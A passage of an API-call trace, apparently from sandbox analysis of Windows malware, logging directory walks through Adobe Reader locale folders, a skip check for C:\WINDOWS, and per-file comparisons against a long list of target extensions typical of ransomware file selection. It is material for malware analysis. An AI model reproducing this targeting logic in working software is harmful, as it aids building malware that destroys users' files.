(lpString=".jpg") returned 4 [0271.952] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0271.952] lstrlenW (lpString=".jpx") returned 4 [0271.952] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0271.952] lstrlenW (lpString=".js") returned 3 [0271.952] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0271.952] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.952] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0271.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0271.952] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0271.952] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl") returned 119 [0271.952] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl") returned 1 [0271.952] lstrlenW (lpString="pl-pl") returned 5 [0271.952] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="pl-pl") returned -1 [0271.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0271.952] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl") returned 119 [0271.953] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pl-pl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0271.954] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.954] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.954] lstrlenW (lpString="ui-strings.js") returned 13 [0271.954] lstrlenW (lpString=".1cd") returned 4 [0271.954] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0271.954] lstrlenW (lpString=".3ds") returned 4 [0271.954] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0271.954] lstrlenW (lpString=".3fr") returned 4 [0271.954] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0271.954] lstrlenW (lpString=".3g2") returned 4 [0271.955] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0271.955] lstrlenW (lpString=".3gp") returned 4 [0271.955] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0271.955] lstrlenW (lpString=".7z") returned 3 [0271.955] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0271.955] lstrlenW (lpString=".accda") returned 6 [0271.955] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0271.955] lstrlenW (lpString=".accdb") returned 6 [0271.955] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0271.955] lstrlenW (lpString=".accdc") returned 6 [0271.955] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0271.955] lstrlenW (lpString=".accde") returned 6 [0271.955] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0271.955] lstrlenW (lpString=".accdt") returned 6 [0271.955] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0271.955] lstrlenW (lpString=".accdw") returned 6 [0271.955] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0271.955] lstrlenW (lpString=".adb") returned 4 [0271.955] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0271.955] lstrlenW (lpString=".adp") returned 4 [0271.956] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0271.956] lstrlenW (lpString=".ai") returned 3 [0271.956] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0271.956] lstrlenW (lpString=".ai3") returned 4 [0271.956] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0271.956] lstrlenW (lpString=".ai4") returned 4 [0271.956] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0271.956] lstrlenW (lpString=".ai5") returned 4 [0271.956] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0271.956] lstrlenW (lpString=".ai6") returned 4 [0271.956] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0271.956] lstrlenW (lpString=".ai7") returned 4 [0271.956] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0271.956] lstrlenW (lpString=".ai8") returned 4 [0271.956] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0271.956] lstrlenW (lpString=".anim") returned 5 [0271.956] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0271.956] lstrlenW (lpString=".arw") returned 4 [0271.956] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0271.956] lstrlenW (lpString=".as") returned 3 [0271.956] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0271.956] lstrlenW (lpString=".asa") returned 4 [0271.956] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0271.956] lstrlenW (lpString=".asc") returned 4 [0271.956] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0271.956] lstrlenW (lpString=".ascx") returned 5 [0271.957] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0271.957] lstrlenW (lpString=".asm") returned 4 [0271.957] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0271.957] lstrlenW (lpString=".asmx") returned 5 [0271.957] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0271.957] lstrlenW (lpString=".asp") returned 4 [0271.957] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0271.957] lstrlenW (lpString=".aspx") returned 5 [0271.957] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0271.957] lstrlenW (lpString=".asr") returned 4 [0271.957] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0271.957] lstrlenW (lpString=".asx") returned 4 [0271.957] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0271.957] lstrlenW (lpString=".avi") returned 4 [0271.957] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0271.957] lstrlenW (lpString=".avs") returned 4 [0271.957] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0271.957] lstrlenW (lpString=".backup") returned 7 [0271.957] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0271.957] lstrlenW (lpString=".bak") returned 4 [0271.957] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0271.957] lstrlenW (lpString=".bay") returned 4 [0271.957] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0271.958] lstrlenW (lpString=".bd") returned 3 [0271.958] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0271.958] lstrlenW (lpString=".bin") returned 4 [0271.958] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0271.958] lstrlenW (lpString=".bmp") returned 4 [0271.958] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0271.958] lstrlenW (lpString=".bz2") returned 4 [0271.958] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0271.958] lstrlenW (lpString=".c") returned 2 [0271.958] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0271.958] lstrlenW (lpString=".cdr") returned 4 [0271.958] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0271.958] lstrlenW (lpString=".cer") returned 4 [0271.958] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0271.958] lstrlenW (lpString=".cf") returned 3 [0271.958] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0271.958] lstrlenW (lpString=".cfc") returned 4 [0271.958] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0271.958] lstrlenW (lpString=".cfm") returned 4 [0271.958] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0271.958] lstrlenW (lpString=".cfml") returned 5 [0271.958] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0271.958] lstrlenW (lpString=".cfu") returned 4 [0271.958] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0271.958] lstrlenW (lpString=".chm") returned 4 [0271.958] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0271.958] lstrlenW (lpString=".cin") returned 4 [0271.958] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0271.959] lstrlenW (lpString=".class") returned 6 [0271.959] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0271.959] lstrlenW (lpString=".clx") returned 4 [0271.959] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0271.959] lstrlenW (lpString=".config") returned 7 [0271.959] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0271.959] lstrlenW (lpString=".cpp") returned 4 [0271.959] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0271.959] lstrlenW (lpString=".cr2") returned 4 [0271.959] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0271.959] lstrlenW (lpString=".crt") returned 4 [0271.959] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0271.959] lstrlenW (lpString=".crw") returned 4 [0271.959] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0271.959] lstrlenW (lpString=".cs") returned 3 [0271.959] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0271.959] lstrlenW (lpString=".css") returned 4 [0271.959] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0271.959] lstrlenW (lpString=".csv") returned 4 [0271.959] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0271.959] lstrlenW (lpString=".cub") returned 4 [0271.959] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0271.959] lstrlenW (lpString=".dae") returned 4 [0271.959] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0271.959] lstrlenW (lpString=".dat") returned 4 [0271.959] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0271.959] lstrlenW (lpString=".db") returned 3 [0271.959] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0271.960] lstrlenW (lpString=".dbf") returned 4 [0271.960] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0271.960] lstrlenW (lpString=".dbx") returned 4 [0271.960] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0271.960] lstrlenW (lpString=".dc3") returned 4 [0271.960] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0271.960] lstrlenW (lpString=".dcm") returned 4 [0271.960] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0271.960] lstrlenW (lpString=".dcr") returned 4 [0271.960] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0271.960] lstrlenW (lpString=".der") returned 4 [0271.960] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0271.960] lstrlenW (lpString=".dib") returned 4 [0271.960] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0271.960] lstrlenW (lpString=".dic") returned 4 [0271.960] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0271.960] lstrlenW (lpString=".dif") returned 4 [0271.960] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0271.960] lstrlenW (lpString=".divx") returned 5 [0271.960] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0271.960] lstrlenW (lpString=".djvu") returned 5 [0271.960] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0271.960] lstrlenW (lpString=".dng") returned 4 [0271.960] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0271.960] lstrlenW (lpString=".doc") returned 4 [0271.960] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0271.960] lstrlenW (lpString=".docm") returned 5 [0271.960] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0271.961] lstrlenW (lpString=".docx") returned 5 [0271.961] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0271.961] lstrlenW (lpString=".dot") returned 4 [0271.961] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0271.961] lstrlenW (lpString=".dotm") returned 5 [0271.961] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0271.961] lstrlenW (lpString=".dotx") returned 5 [0271.961] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0271.961] lstrlenW (lpString=".dpx") returned 4 [0271.961] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0271.961] lstrlenW (lpString=".dqy") returned 4 [0271.961] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0271.961] lstrlenW (lpString=".dsn") returned 4 [0271.961] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0271.961] lstrlenW (lpString=".dt") returned 3 [0271.961] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0271.961] lstrlenW (lpString=".dtd") returned 4 [0271.961] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0271.961] lstrlenW (lpString=".dwg") returned 4 [0271.961] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0271.961] lstrlenW (lpString=".dwt") returned 4 [0271.961] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0271.961] lstrlenW (lpString=".dx") returned 3 [0271.961] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0271.961] lstrlenW (lpString=".dxf") returned 4 [0271.961] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0271.961] lstrlenW (lpString=".edml") returned 5 [0271.962] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0271.962] lstrlenW (lpString=".efd") returned 4 [0271.962] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0271.962] lstrlenW (lpString=".elf") returned 4 [0271.962] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0271.962] lstrlenW (lpString=".emf") returned 4 [0271.962] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0271.962] lstrlenW (lpString=".emz") returned 4 [0271.962] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0271.962] lstrlenW (lpString=".epf") returned 4 [0271.962] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0271.962] lstrlenW (lpString=".eps") returned 4 [0271.962] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0271.962] lstrlenW (lpString=".epsf") returned 5 [0271.962] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0271.962] lstrlenW (lpString=".epsp") returned 5 [0271.962] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0271.962] lstrlenW (lpString=".erf") returned 4 [0271.962] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0271.962] lstrlenW (lpString=".exr") returned 4 [0271.962] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0271.962] lstrlenW (lpString=".f4v") returned 4 [0271.962] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0271.963] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.963] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0271.963] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0271.963] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0271.963] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0271.963] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315970 [0271.964] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.964] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.964] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.964] FindClose (in: hFindFile=0x3315970 | out: hFindFile=0x3315970) returned 1 [0271.964] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0271.964] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0271.964] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro") returned 119 [0271.964] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro") returned 1 [0271.964] lstrlenW (lpString="ro-ro") returned 5 [0271.964] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ro-ro") returned -1 [0271.964] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0271.964] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro") returned 119 [0271.964] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0271.965] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.965] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.965] lstrlenW (lpString="ui-strings.js") returned 13 [0271.965] lstrlenW (lpString=".1cd") returned 4 [0271.965] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0271.965] lstrlenW (lpString=".3ds") returned 4 [0271.965] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0271.965] lstrlenW (lpString=".3fr") returned 4 [0271.965] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0271.965] lstrlenW (lpString=".3g2") returned 4 [0271.965] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0271.966] lstrlenW (lpString=".3gp") returned 4 [0271.966] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0271.966] lstrlenW (lpString=".7z") returned 3 [0271.966] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0271.966] lstrlenW (lpString=".accda") returned 6 [0271.966] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0271.966] lstrlenW (lpString=".accdb") returned 6 [0271.966] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0271.966] lstrlenW (lpString=".accdc") returned 6 [0271.966] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0271.966] lstrlenW (lpString=".accde") returned 6 [0271.966] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0271.966] lstrlenW (lpString=".accdt") returned 6 [0271.966] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0271.966] lstrlenW (lpString=".accdw") returned 6 [0271.966] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0271.966] lstrlenW (lpString=".adb") returned 4 [0271.966] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0271.966] lstrlenW (lpString=".adp") returned 4 [0271.966] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0271.966] lstrlenW (lpString=".ai") returned 3 [0271.966] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0271.966] lstrlenW (lpString=".ai3") returned 4 [0271.966] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0271.966] lstrlenW (lpString=".ai4") returned 4 [0271.966] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0271.966] lstrlenW (lpString=".ai5") returned 4 [0271.966] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0271.966] lstrlenW (lpString=".ai6") returned 4 [0271.967] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0271.967] lstrlenW (lpString=".ai7") returned 4 [0271.967] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0271.967] lstrlenW (lpString=".ai8") returned 4 [0271.967] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0271.967] lstrlenW (lpString=".anim") returned 5 [0271.967] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0271.967] lstrlenW (lpString=".arw") returned 4 [0271.967] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0271.967] lstrlenW (lpString=".as") returned 3 [0271.967] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0271.967] lstrlenW (lpString=".asa") returned 4 [0271.967] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0271.967] lstrlenW 